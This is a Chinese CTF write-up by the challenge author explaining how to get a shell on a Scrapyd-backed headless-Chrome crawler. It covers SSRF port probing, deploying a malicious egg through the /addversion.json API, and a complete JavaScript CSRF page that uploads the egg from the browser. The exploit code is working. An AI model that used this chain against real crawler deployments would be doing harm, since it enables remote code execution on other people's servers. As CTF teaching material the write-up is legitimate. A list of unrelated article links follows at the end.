攻击Scrapyd爬虫
类似我一贯的做法,这次Real World CTF我出了一道实战性的题目,目标仍然是getshell。
我们以渗透测试的步骤来审视这道题目。
0x01 信息搜集
与我以往的题目不同的是,这次虽然我自己写了一部分代码,但是这部分代码的目的是串联起几个服务,整个流程与代码漏洞无关,所以没有给出源代码。
目标是一个简单的web,描述是“Use crawlbox to get all links from a page”,输入一个URL,稍等片刻可以获取这个页面里所有的链接,后端应该是一个爬虫:
我们抓取一下这个“爬虫”的请求:
可见其User-Agent是Scrapy/ChromeHeadless (+https://scrapy.org)
。从其中获取到了两个信息:
- Scrapy
- Chrome Headless
scrapy是python下的一款非常流行的爬虫框架,猜测用户输入的URL被交给scrapy执行,而scrapy中使用了Chrome对URL进行访问并获取结果。
关注到这一点,我们可以浏览一下scrapy这个工具的首页:
其中提到部署爬虫可以部署到scrapyd,在文档中也提到了这一点:https://docs.scrapy.org/en/latest/topics/deploy.html。
思考,作为一个Web服务,如果要调用scrapy爬虫爬取信息,无非有两种方法:
- 直接命令行调用scrapy
- 通过scrapyd提供的API进行调用
那么,如何分辨目标使用了哪种方法调用scrapy呢?
方法也很容易想到:我们可以尝试探测本地或内网中是否有开启scrapyd服务的端口。打开scrapyd的文档(https://scrapyd.readthedocs.io/en/latest/overview.html#webui),可知scrapyd默认开放在6800端口。
最简单的方法,我们直接用目标提供的爬虫功能进行探测(需要用xip.io
简单绕过一下SSRF的检测):
显然,本地6800端口是开启的,可以确定后端是scrapyd。
如果你完全没注意到User-Agent中的scrapy,题干中的“I wrote a secure crawler on top of a browser, which you can use to crawl all the links on a website”也提到了浏览器,你也可以完全将这里理解为一个XSS盲打漏洞。 于是,我们可以利用XSS中的一些技巧,如:获取内网地址、对内网服务进行扫描、获取User-Agent、Cookie、LocalStorage等信息,进而也能获取到User-Agent中的scrapy,或者发现6800端口这样的敏感服务。 如果你阅读文档或者扫描到了6023端口,这也是曾经一个可以攻击scrapy的端口。scrapy在启动扫描期间会开放6023端口作为Telnet Console,通过这个端口可以直接执行任意Python代码。在1.5.2后,scrapy官方修复了这个问题,详见https://docs.scrapy.org/en/latest/news.html#scrapy-1-5-2-2019-01-22。
0x02 如何攻击scrapyd
一顿信息搜集后,目标整个工作流程就清晰了:用户输入的URL被交给部署在scrapyd上的爬虫进行爬取,爬虫调用了Chrome渲染页面,并将结果中的链接返回给用户。
那么,这里重点就是scrapyd了。我们需要阅读scrapyd的文档,方便理解这个项目的工作流程。通过文档可知,scrapy是一个爬虫框架,而scrapyd是一个云服务,用户可以将自己用scrapy框架开发的爬虫上传到云端,然后通过Web API调用这个爬虫爬取信息。
scrapyd主要提供以下一些API:
- /daemonstatus.json 获取云服务的状态
- /addversion.json 上传一个新的爬虫项目,或者给一个已有的项目更新代码
- /schedule.json 执行一个爬取任务
- /cancel.json 停止并取消一个任务
- /listprojects.json 列出云端的所有项目
- /listversions.json 列出某个项目的所有代码版本
- /listspiders.json 列出一个项目下所有spider,spider这个概念是scrapy框架中的,一个scrapy开发的爬虫可以有多个spider
- /listjobs.json 列出所有任务,包括正在进行的、已完成的、等待执行的三个状态
- /delversion.json 删除某个项目下的某个代码版本
- /delversion.json 删除某个项目
简单来说,scrapyd云服务下可以有多个项目,每个项目下可以有多个代码版本,每个代码版本就是一个完整的scrapy项目,一个scrapy项目下可以有多个spider,最终执行的任务的载体是一个spider。
那么,也就是说,攻击者可以创建一个项目,并部署他自己的scrapy代码版本,将恶意代码部署到云端,进而对scrapyd云端进行攻击。
根据这个思路,我们先在本地进行测试。
安装并启动scrapyd:
pip install scrapyd
scrapyd
启动后访问http://127.0.0.1:6800
即可看到主页:
此时云端没有项目:
然后,我们本地再安装scrapy框架,并创建一个scrapy项目:
pip install scrapy
scrapy startproject evil
生成了项目后,我们在evil/__init__.py
中加入恶意代码:
import os
os.system('touch success')
然后,我们用scrapyd-client这个工具,将项目打包成egg包。当然也可以自己用setuptools手工打包。
pip install scrapyd-client
scrapyd-deploy --build-egg=evil.egg
此时,恶意的egg包已经生成,然后我们将其部署到云端:
curl http://localhost:6800/addversion.json -F project=evil -F version=r01 -F egg=@evil.egg
成功部署:
此时,touch success
已成功执行:
0x03 利用CSRF漏洞攻击浏览器爬虫
针对6800端口的攻击在本地可以复现了,但是目标网站的6800是开启在内网的,我们无法直接访问。
可以借助目标前端的那个SSRF吗?不行,因为这只是一个GET型的URL请求,无法发送POST包部署代码。
不过,因为这个URL是被浏览器执行的,而scrapyd的所有API接口实际上都是可以进行CSRF攻击的,所以我们可以利用页面中的JavaScript发送POST数据包给6800端口,进而调用那些非GET型的API。
构造一个向http://127.0.0.1:6800/addversion.json
发送POST上传请求的页面:
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>upload csrf</title>
</head>
<body>
<script type="text/javascript" charset="utf-8">
function b64toBlob(b64Data, contentType, sliceSize) {
contentType = contentType || '';
sliceSize = sliceSize || 512;
var byteCharacters = atob(b64Data);
var byteArrays = [];
for (var offset = 0; offset < byteCharacters.length; offset += sliceSize) {
var slice = byteCharacters.slice(offset, offset + sliceSize);
var byteNumbers = new Array(slice.length);
for (var i = 0; i < slice.length; i++) {
byteNumbers[i] = slice.charCodeAt(i);
}
var byteArray = new Uint8Array(byteNumbers);
byteArrays.push(byteArray);
}
var blob = new Blob(byteArrays, {type: contentType});
return blob;
}
var blob = b64toBlob("base64 data of evil.egg...", 'application/octet-stream')
var myFormData = new FormData();
myFormData.append("egg", blob, "evil.egg");
myFormData.append("project", "evil_project_01")
myFormData.append("version", "r01")
fetch("http://127.0.0.1:6800/addversion.json", {
method: "post",
body: myFormData
})
</script>
</body>
</html>
值得注意的是,因为我们要上传一个二进制文件,所以我将evil.egg进行的base64编码:cat evil.egg | base64
,然后将其转换成JavaScript中的Blob对象,添加到FormData中。
将这个页面提交给爬虫进行爬取,成功完成整个利用过程。
0x04 总结
首先吐槽一下scrapy这个框架,真是盛名之下其实难副,虽然说到爬虫必然会说到这个框架,但实际上不管是从其生态、文档、代码等角度看待这个项目,都是无法和Python下另一个伟大的项目Django相提并论的。实际使用下来感觉其架构不合理,文档也模糊不清,周边生态如scrapyd、scrapyd-client更是陈旧不堪,问题很多,处于弃疗状态。
总的来说scrapy作为一个生态框架是不及格的,但聊胜于无吧,相比于手工编写爬虫来说还是给开发者提供了很多帮助。
另外,在MVVM架构日益流行的当下,爬虫也变得更加灵活,特别是借助Chrome Headless或splash的爬虫能够动态执行JavaScript这个特性,能让爬虫爬到的信息更加完善,但也让攻击者有更多攻击途径。
通常来说scrapy和splash是一对标配,虽然我这次用的是Chrome,事实上没啥太大差别。对于此类动态爬虫,攻击者可以对浏览器或js引擎本身进行攻击,或者如我这样利用JavaScript攻击内网里一些基础服务。
另外,经常会有人在运行爬虫的时候会设置--no-sandbox
、--disable-web-security
等危险选项,这也给攻击者提供了很多便利,我建议利用普通用户权限启动浏览器爬虫,以避免使用这些不安全的选项。
作为一个“黑客”,在开动自己扫描器的同时,也要注意这些问题了哦,不要踏进别人的蜜罐还被人反日了。
- 临时表空间故障处理 (33天)
- 关于物化视图疑问(32天)
- ORACLE 10g 升级 11g问题汇总(31天)
- 数据库11g升级中一次奇怪的问题 (30天)
- 10g升级至11g需要考虑的参数优化(29天)
- 关于oracle invalid components问题的解决(28天)
- 11g升级性能问题之一 重建user_synonyms (笔记27天)
- 数据库shutdown之后无法启动的问题 (46天)
- 关于oracle里的process总结(45天)
- 通过top命令抓取cpu高消耗的sql (44天)
- 关于字符串匹配查找的总结(43天)
- 一条sql语句导致的数据库宕机问题及分析(42天)
- 外部表的导入导出问题 (41天)
- 当我们和计算机交互时,它看到的是什么?
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- JavaScript 技术篇-JSON字符串在线快速格式化查看实例演示,json.cn网址格式化json字符串
- Python 技术篇-含中文编码的代码运行方法,(unicode error) ‘utf-8‘ codec can‘t decode问题原因及解决方法
- Spring Boot Actuators
- 用图机器学习探索 A 股个股相关性变化
- Python 技术篇-连接oracle数据库并执行sql语句实例演示,python连接oracle数据库oci详细配置方法
- MySQL 技术篇-mysql数据库的安装、配置与使用实例演示
- JavaScript 技术篇-js代码获取当前操作系统信息、浏览器版本信息实例演示,windows NT版本对照表
- Oracle 数据库impdp导入数据库版本和dmp数据库文件版本不匹配问题解决方法,ORA-39142版本号不兼容、ORA-39000转储文件说明错误解决方法
- 实践总结:基于Kbone使用React同构开发小程序
- BAT 批处理命令 - 实现输出当前文件夹下的所有文件夹名的功能实例演示
- Python+Selenium 自动化-指定chrome驱动运行selenium实例演示,运行指定位置下的浏览器驱动
- Linux 命令查找指定文件夹下符合查询条件的文件和文件夹实例演示
- 用Python实现一个最新QQ办公版(TIM)的登录界面
- Oracle 数据库直接执行本地sql文件、sql脚本实例演示
- Oracle 数据库利用回收站恢复删除的表实例演示